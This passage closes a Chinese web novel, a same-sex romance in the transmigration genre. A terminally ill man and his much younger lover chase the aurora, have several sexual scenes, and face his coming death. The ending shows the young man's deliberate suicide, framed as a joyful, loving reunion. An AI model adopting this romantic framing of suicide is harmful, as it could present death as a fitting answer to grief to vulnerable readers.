萧疏看着篝火,方闻钟忽然搬着他的椅子过来自然而然地挤在萧疏身边,他抬头,不好意思,“恋人,他是我男朋友,”方闻钟说。 萧疏猝不及防笑了一下,比他笑更让人看呆的,是他脸上突然出现的明朗又温柔的笑容。男人本身就看着和方闻钟不是一类人,跟他们也格格不入。 方闻钟是个很帅气的小夥,年纪最多不超过二十,浑身朝气蓬勃的,稚嫩又单纯,反观萧疏,养尊处优,一举一动都透露着大权在握的疏离感,他懒得搭理他们任何人,但上了年纪是事实。 没想到是这个答案。 方闻钟被他们看害羞了,他也不说话了,拿着一根木棍戳了戳火焰,萧疏将他手收回来,替他擦干净,“感谢你们的咖啡,”他牵着方闻钟的手,走了。 于是团队只能看着两个背影越靠越近,直至年轻的那个差点把年纪大的那个从背上压趴下,还能听到一两句诡异的兴奋尖叫,才不见踪影。 “我们还往北走吗?” “方闻钟,我是不是配不上你了,”近距离看,萧疏今日格外憔悴,在方闻钟热情跟他讨论还要不要追极光时,他贴近他的脸颊,抚摸上方闻钟光洁的额头,还有下面亮到刺眼的双眸。 眸子一颤,方闻钟攥住萧疏的胳膊,他深吸了一口气,赌气似地埋萧疏怀里,“你是不是经常这样想过,我配不上你?” “?” “那你怎么会有这种想法呢?”方闻钟不解。 萧疏轻笑了一下,含混过这个话题,可能人不怕死,但总归会怕点别的吧。 继续开往北边,这次说什么萧疏也要自己开车,“你真没事吧,”萧疏推搡开方闻钟凑近的嘴巴,“刚休息好了,安全带。” 方闻钟低头系安全带,忽然趁萧疏不注意,起身迅速亲了他一下,在他嘴巴上,发出啵的一声脆响,两人都舒展了容颜。 方闻钟知道,他说出恋人时,在外人面前承认他和萧疏的关系,他们两个人都很开心。 积雪在他们脚下越来越厚,湖泊的剪影消失在后视镜,天宽地广,一片黑暗,只剩下车里一点导航屏的光,世界又剩下他们两个人。 方闻钟忽然惊醒,他怎么也睡着了!萧疏碰了碰他耳朵,声音有些急切,“方闻钟,下车。” 方闻钟立马扯开门下去!冷风扑面而来!直往他毛衣缝隙里钻,他却顾不上这个了。 天空飘出一丝丝幽魂般的绿,变化多端,不可捉摸,摇曳在视网膜上差点让人以为是幻觉。 方闻钟呆了,萧疏穿着羽绒服,过来把他包在一起,身体互相传递温暖。 那抹绿意,如同被一只无形的巨手缓缓搅动,不是错觉!它们越来越多,像倾泻下来的祖母绿宝石,像打翻的萤光水彩,晕染、扩散,越来越明亮,越来越清晰。 从一丝微弱的喘息,迅速膨胀成一道贯穿视野的巨大绿色光带,它不是静止的,它活了!宛如炸开的九条凤尾,又像奔腾的活跃的璀璨河流,无数难以名状的绿光交织,缠绕、碰撞,又分离变幻出瞬息万变的形态。 绿色的火焰化身长矛,彻底撕裂了亘古的黑暗,方闻钟震惊地仰着头,张着嘴。 这场无声的,宏大壮丽的宇宙奇观,用压到一切的磅礴力量,将方闻钟定在萧疏怀里,他忘了呼吸,忘了时间,忘了寒冷,瞳孔里倒映着漫天狂舞。 直到萧疏捏着他的下巴扭过他的头,萧疏冰凉的嘴唇粘贴,方闻钟的视线里才全是萧疏。 “方闻钟,上天会一直眷顾你的。” 方闻钟亲到喘息,才看着萧疏激动道:“我的好运气就是遇到你,萧疏,它真漂亮!” 方闻钟还想回头,其实萧疏也被震惊到了,的确很好看,他怀里抱着人,久久不语,但此刻,他不想让方闻钟的注意力被其他夺去。 他们在极光的见证下,萧疏忽然将冰凉的手塞进了方闻钟衣服,他贴着他的后背,方闻钟被冰了一下,也被吓到了,虽然说和萧疏包在一个羽绒服里躲不开,可他压根没想躲,无论萧疏做出多奇怪的举动,他都用力将身体贴近他。 他的身躯,温暖了萧疏冰凉的手臂,萧疏紧紧搂着他,亲到方闻钟向后仰着脖子。 躺在雪地上,身前突兀的触感顶着,方闻钟却被热出一身汗,萧疏的唇掠过他所有露出来的皮肤,甚至他毛衣被掀起来的肚皮上,萧疏的脸颊很烫很热,方闻钟用唇粘贴去时已经没有精神想别的。 咳,萧疏咳了一下,忽然从他身上猛然躲开,萧疏用手擦过嘴巴。 “怎么了?太冷了是不是,萧疏,我们回去吧?”他求饶地看着房车的方向。 萧疏:“被冷气呛了一下,”他右手抓在旁边的雪地上,雪地上留下一片刺目的红。 “方闻钟,可以吗?”这次萧疏再次问。 可以啊,萧疏难道不知道,方闻钟只有这一个答案? 第153章 君生我未生 从雪地走向房车,方闻钟用了两个小时的时间。 置身于水深火热中,萧疏干燥的、湿热的唇,舔过他每个地方,在他低头看去时,被萧疏挡住眼睛,胸前那个小点,萧疏用他带血的双唇,轻轻啃咬舔舐。 他们都很燥热、着急,萧疏干瘦的手臂,甚至能将方闻钟后背勒疼,整个人被提起来,方闻钟叫了太多次萧疏的名字要他停下来,开始是因为暴露,后来因为受不住。 久违的相连,让方闻钟除了情|欲,还体会到了命运纠缠、不忍分离时发出不甘的啜泣。 挪到房车,方闻钟坐在他身上,要去亲萧疏的唇,却被萧疏躲过了,其他任何地方萧疏都甘之如饴,甚至引|诱着方闻钟去做他以前从未做过的事,方闻钟有了种彻底被这个男人掌控、吞噬的感觉。 他怎么都要不够,在柴犬和缅因瞪大眼看他们时,方闻钟伸出洁白的手臂,最后指尖倒在几厘米之远,他的指缝中,被另一只大手牢牢把握。 后半夜方闻钟被洗漱过后直接沾床就睡,萧疏还打算把房车开回去。 他小声低语,太累了,就在这里停着吧…… 萧疏下车,在车外将他吐出来的那口血,用脚踢了踢,让雪掩盖住。却忽然发出更沉闷连续不断的咳嗽,他弓着腰,低吼着捂住嘴,再也控制不住时,一声巨咳喷出一大口血! 萧疏起身,用手巾将嘴巴和手一点一点擦干净,地上的恐怖血迹,他看了两眼,继续用脚踢。 再返回车上时,方闻钟彻底睡熟了,房车又开了几个小时。 天亮,他们在一家小旅馆住宿下来。 “还剩多少了?”萧疏问系统,“渣攻数值还有10,”系统说。 萧疏沉沉地闭上眼,彷佛已经睡过去,但他的大脑异常清醒,想要它快点变为0,因为他坚持不了多久了,又怕到了0,方闻钟会消失,从此萧疏再也见不到他。 如此固执疯狂地和方闻钟做,究竟是用生命在爱他,还是自我放纵,自欺欺人不去面对最坏的那个结果? “萧疏?” “萧疏?” 第二天方闻钟醒来时,发现喊不醒萧疏了,他面色惨白地睡在床上,碰到脸颊,方闻钟的手被烫得缩回来,方闻钟瞳孔骤缩,他呆坐了两秒,几乎是以恐怖的速度想冲出去找医生,衣角却被猝不及防地拉住。 萧疏坐起来了,方闻钟立马回身仔细看他,从上到下打量,“你,你,”方闻钟声音里已经带上了颤抖和哽咽,“你还好吗?” 萧疏抚着额头,好久,无语地对方闻钟说:“昨晚,我只睡了两个小时,还做了那么多体力劳动,”他觑方闻钟,“宝宝,我也不是铁人啊,需要睡觉的。” 方闻钟被萧疏笑着两人额头相贴,他终于放松一点,提到体力劳动,他真的很想吐槽萧疏,明明是他一直要弄,明明是他找的各种鬼地方!方闻钟暗含责怪,又有些心疼,继续摸萧疏的脸颊。 “以后不要在那么冷的地方了,”方闻钟把自己说脸红了,“你有些烫?发烧了?我去给你拿药,其他还有什么不舒服吗?” “没有,宝宝,”萧疏看着方闻钟跑下去的背影,笃定道。 下楼,竟然在小旅馆还遇到了昨晚极光猎人团的几位男女,他们见到方闻钟,惊讶地告诉他,他们没看到极光,但今天早上往北边走到了能看极光的地方,他们今天还打算去! “我们不去了,”方闻钟说,他没有告诉旁人,他们昨晚看到了极光,甚至在漫长的可能遇到其他人的情况下,在极光下拥吻、做|爱。 “那边昨晚肯定有人待过的痕迹,一大滩血!”女人害怕极了,夸张地又讲了一遍,谁叫她一脚踩下去一片红色吓得她原地跳起来!跟队里已经讲了很多遍,各种猜测,又跟方闻钟讲。 方闻钟忽然回身,认真听完。 喂萧疏喝下去退烧药,萧疏又吃了点早餐,方闻钟骗他,“我去楼下转转吧,好吗?” 他们的手互相牵着,萧疏不想放开,又松开让他离去,“去吧,”他笑道,“这里景色很好。” 方闻钟快步走向房车,他几乎已经激活了,朝目的地出发,又坐在车上半晌,他闭上眼,躺在昨夜萧疏躺过的地方。 他知道萧疏为什么一定要将房车开回来了,他既然已经尽了最大的努力不让他知道,方闻钟再怎么忍心拆穿。 他捂住脸,滚烫的热泪慢慢从指缝中滑出来。 他忽然懂了萧疏的放纵,懂了他的出格和抵死缠绵,那是萧疏恨不得把两个人的灵魂抽取出来继续纠缠,在他大开大合的动作中,藏着很少说出口的爱,在说出来的几句爱你中,又藏着数不尽的悲哀和不舍。 方闻钟缩成一团,宽敞的房车,此时成了他存放恐惧最佳的地方。 萧疏可能会死,这个念头抽取了方闻钟体内的空气,抽走了他身体的温度,血肉冰冷,方闻钟宛如一只不会呼吸的狗,即将溺死在这方寸深海里。 他的病没有好,也不会好了,萧疏已经认命了是吗? 他不打算告诉他?还是打算实在瞒不住或者他爱他到分不开的那一秒,萧疏才肯说:我可能不能陪你走完这一生。 他陪他的时间,本来就不多。 在最幸福的时候,在冬日来临的前夜,方闻钟忽然感觉自己被抛弃了,不是萧疏干的,是命运。 下午,方闻钟上楼去叫萧疏,萧疏看到方闻钟为他准备的轮椅,目光紧缩,随即自然开口问:“干嘛?” “下楼吃饭呀,”方闻钟背过身去,“你睡醒了吗?我推你去滑雪,”方闻钟再转回来,红红的眼睛已经因为开心,看不出任何哭过的痕迹,亮晶晶的,萧疏坐上去。 穿了羽绒服还不够,方闻钟非要萧疏把他的冲锋衣再加到羽绒服里面。 萧疏手放在两边,“方闻钟,我不是蚕蛹。” “噗,”方闻钟笑出来,最后非将内胆套在萧疏的毛衣上,“我喜欢你穿我的衣服,”他趴在萧疏耳边撒娇,说着令人脸红心跳的话,“等夏天,我穿你的衬衣。” 别的都不穿…… 将萧疏推到湖边,路上的积雪还不深,方闻钟只能推一下,然后将轮椅撒手,看萧疏表情生动地滑出去,“哈哈哈哈哈哈哈哈哈!” 眼看要摔到没结冰的湖水里,萧疏一下灵活地跳下来,两人眼睁睁地看着轮椅半个倒在水里,卡住,方闻钟笑得捶地大笑。 都笑哭了。 萧疏过去揪起他的耳朵,“你整我呢?”。 “痛痛痛,松手!”方闻钟抱住萧疏的胳膊,“那你整回来?” 萧疏也开始笑,他抱住方闻钟的腰,作势要把他抱过去扔湖水里,“捞上来?”他扶着人,笑着命令脚高高翘起的方闻钟,把轮椅拿上来。 “我不!” “这不是你准备的吗?不要了?” “不要就不要了,我重要还是它重要,”方闻钟撒泼,愈发往萧疏身上攀,不叫鞋踩在湖水边缘弄湿自己,等腿盘在萧疏腰上了,方闻钟才若有所思,“花了我不少钱,”买那把轮椅。 萧疏被他逗得身体都在颤抖,男人脸上爬满幸福洋溢,他眼角的皱纹都皱起来,却丝毫不在意体面,“宝宝,你比任何都重要。” 方闻钟盯着萧疏的眼睛,那里盛满他的影子,还有夕阳照在冰水混合的湖面上的波光粼粼,情不自禁地伸出手。 开始是一根手指,后变成两根,最后整个手放上去,遮盖住萧疏灿烂的双眸。 方闻钟慢慢感受男人的眼球在他手下滚动,他摸他的眉眼,摸他的鼻梁,最后手耷拉在萧疏的嘴唇上。 萧疏本来笑意盎然,看到方闻钟的神情,忽然笑容一点一点收回去。 方闻钟低喃,“要是早遇到你的人是我就好了……” 君生我未生,我生君已老,如果他能早二十年遇到萧疏,是不是他们不用经历这么多遗憾,和生死离别。 “什么?”萧疏的声音瞬间沉哑,方闻钟憋了太久的难过再也忍不住,他抱住萧疏的头埋在他脖子里,“萧疏,我多想早早遇到你,我忌妒任何跟你有过关系的人,他们本可能陪你很久很久,为什么独独我不可以,萧疏,我不想你死,你骗我!你的病好不了了。” 方闻钟的身体,瞬间被紧紧箍住,萧疏的胳膊像两条铁臂一样,禁锢得双方都有些疼。 许久,方闻钟哭累了,萧疏才慢慢舒展。 “早遇到的,就不是我了。”萧疏说了句方闻钟没听懂的话,但萧疏又告诉他,“我们相遇的时间最好,方闻钟,只有那个时候,我才会毫无保留地爱你,哪怕我生病了……”萧疏也哽咽了一下,“哪怕我走了,你也要好好活下去,宝宝。”萧疏颤抖着亲上方闻钟的唇。 从这天起,无论方闻钟和萧疏再怎么开心、幸福、忘掉烦恼忘掉死亡,系统检测出来的数值一直停在10不动。 萧疏焦急,方闻钟不让他再故意遮掩自己的病情,并同意回去就立马住院,可萧疏还是将大多带血的手帕悄悄扔在别处去。 他的死亡,成了方闻钟最后的阴影。 无论如何,他都不可能再到0了。 除非上天把萧疏好好地还给他。 第154章 方闻钟蹦蹦跳跳地去见他的归属。 萧疏有些着急上火,某天深夜,他拿出那没签的二十七份文档,在方闻钟睡熟时,一张张抓着他的手,翻页、落笔。 方闻钟还是发现了,尤其醒来看到全部签完的文档,萧疏穿着睡衣坐在他身旁,甚至因为刚才完成了一件大事,萧疏还是笑着呢,他想哄方闻钟,于是手贴近他的脸颊,嘴巴亲吻上去,“宝宝,没事,睡吧。” 方闻钟心里又难过又生气,怎么可能会没事,他怒坐起来,“萧疏!你自己知道这些文档都是不合法的!你抓着我签字,这不算!” 方闻钟一下把文档扬到床下,萧疏的脸颊绷紧,眼光深沉。 方闻钟脆弱地跪起来,捧住萧疏的脸,“你不要逼着我签字好不好?萧疏,你已经打算不要我了要离开我了吗?” 泪珠滚落到他脸上,萧疏拿起地上的文档,整理了一下站起来,“没事了,睡吧,”他要往门外走。 没事,没事,你就只会说没事吗! 方闻钟吼道:“萧疏!你胆小鬼!” “你怕你死了我活不下去吗?你怕你哪天悄悄咽气了你的资产还没转移到我手里?这些重要吗?萧疏,我要的是你的人,不是你的钱!” 方闻钟越说越气,他光着脚跑下床,“你怕跟我合照留念,你怕出现在我的镜头里,怎么?萧疏,以后不打算让我永远记着你了吗?你死了,我还活得好好的!” 这的确是萧疏想要的结果,但关键是,方闻钟现在还保留着10的渣攻数值,到不了0,萧疏死亡…… 萧疏咬肌滚动,他没对方闻钟责怪他的样子没有任何反应,只是好脾气地走过去,抱住他,轻轻问:“方闻钟,那你现在还想要什么呢?我都可以满足,”他诱惑着他,抚摸着他的后背。 方闻钟的情绪也down下去,他擦掉自己的泪,小声道:“萧疏,我想要你不要生病好不好?”他眨眼,热热的。 “好,”萧疏竟如此说,“给我一个月的时间,我去国外做手术,我已经联系好了医生和供体。” “我要陪同。” “不可以,”萧疏严肃道:“方闻钟,再出现在你面前我一定会好好的,”他用拇指擦着他的眼睑,“等我一个月好不好。” 就当萧疏以为方闻钟要答应时,方闻钟忽然冷笑着,脱离萧疏的怀抱。 “萧疏,”他深吸了一口气,“我虽然比你小22岁,但我不是真的小孩子,我早就问过医生了,”方闻钟擦掉自己更汹涌的眼泪,让模糊的视线稍微清明。 “哪怕有供体,你现在的情况也无法手术,”某种程度上,方闻钟已经做好了最坏的准备。 没做好准备的貌似是萧疏…… 萧疏不怕死,却怕渣攻属性到不了0,还怕有一天到0时,方闻钟彻底从他的世界消失,矛盾、固执,如何面对爱人死亡,那是方闻钟的课题,如何面对两难,这是萧疏走不过去的心结。 其实对他们而言都是一样的,都是最后的快乐时光,都是真正的告别。 萧疏捏着拳头,他眼眶也渐渐红了,嗤笑了一声,“那怎么办呢?”里面是真正的绝望无力。 方闻钟受不了他这个样子,心里刀割似的闷痛,他跑去用双手牢牢攀住萧疏的后背,男人的眼神已经习惯性带上安抚、强大、温柔,可方闻钟知道,他是害怕的。 他踮起脚,第一次哄萧疏,“萧叔叔,你想要什么呀?你还有什么愿望没达成,我陪你一起!” 方闻钟坚定道,他嘴里叫着萧叔叔,却表现出从未有过的坚强,眼泪说收就收,一片清明。 “我想要你开心,我想要你幸福,不要再为我担心难过。” 萧疏说,“听起来似乎很简单?”方闻钟发表感言。 被萧疏赌气似地揉了揉头,“只要一切是关于我的,我都能做到,”方闻钟带着大大的笑,亲上男人的唇,“萧疏,跟我走吧。” 他亲笔签署了那二十多分文档,方闻钟兴致勃勃地拍起了他和萧疏的纪录片,萧疏不再躲镜头,因为方闻钟说这样他以后看到也会很开心,萧疏的资产全转到方闻钟名下,方闻钟会去实习,会去上课,再跑来别墅这边和萧疏吵吵闹闹,做饭睡觉。 他们领证了,虽然形式大于实质,但方闻钟依旧很开心,萧疏也配合他,心里暖洋洋的,又藏着一块怎么也捂不热的冰窖。 至于方闻钟多签的几份东西,他也没注意。 时光兜兜转转,又是半年,萧疏的身体彻底撑不住了,他需要住院才能维持生命体征,方闻钟虽然会哭,但已经不会无措,当系统在某个深夜突然在萧疏脑海里响起,“渣攻属性清零,宿主可以离开。” 萧疏眼角滑下去一滴泪,然后是好多滴。 “方闻钟,”他轻轻念叨他,“你可真厉害啊,已经接受了一切是吗?我不在了,你一定也能好好生活……” 男人的泪震惊了系统,然后看到萧疏擦掉眼泪,彷佛回到他最开始来这些世界的时候,冷漠、无趣,俯视众生。 可只有他手心里的戒指知道他攥得又多狠,多不平静。 系统跟着难受,“其实,”它斟酌着对宿主说:“有一个办法可以带方闻钟离开。” 萧疏的视线立马像狼一样锋利。 “只要方闻钟心甘情愿自|杀,他的灵魂就可以跟你走,因为你在前面的世界里已经积攒够了能量,他的灵魂脱离身体后,只会跟着你,但没有实体……” 系统说完,萧疏的眼神渐渐涣散。 许久,他浅笑了一下,“不了,”方闻钟已经做好了决定,他已经能够在这个世界幸福地活下去,何必多此一举以后禁锢在他身边? 何况方闻钟愿意吗?萧疏又怎么跟他开这个口。 他突然也豁达了,也许跟方闻钟的缘分,就到这里,萧疏很爱他,能永远爱他,却不能保证在他身边。 “再等等,”萧疏虚弱地喘着气,等明天早上,跟方闻钟告别,他就可以离开了…… 他却没等到。 这天晚上,萧疏和方闻钟一同死去。 方闻钟签了很多文档,把所有萧疏给他的东西捐赠出去,跟熟悉的亲朋好友告别,给妈妈留了最后一封信,去父亲的坟头上香。 他还签署了身体捐赠协议,工作人员奇怪问这个阳光开朗的男孩,为什么突然这样选择? 他撒谎,“我生病了,说不定哪天我就悄悄死了,希望我还能为这个世界做点贡献吧!” 方闻钟才不坚强!他只是早早做好了陪萧疏去死的准备! 他才是懦弱的胆小鬼,他一个人才活不下去,这个世界所有的美好,都是萧疏带给他的,他走了,他如何能度过日复一日,年复一年? 原总被托付将他们的结婚证和生活纪录片烧给他们,原总那一刹那真的被方闻钟感动了,“他有毛病你也有毛病?” “对呀,所以我们才是天造地设的一对。”- 萧疏在最后的这片系统空间里,回头望瞭望。 方闻钟蹦蹦跳跳的身影忽然出现在他视线里,然后接近,扑向他身前。 “萧疏!”方闻钟的灵魂开心道:“我果然遇到你了,这下没人将我们分开了,”他是心甘情愿自|杀的,他甚至笑着跳着如同一个初生婴儿,来奔赴他的归属。 萧疏热泪盈眶。 方闻钟,原来我们都比对方的生命更重要。 --正文完--【你现在阅读的是 】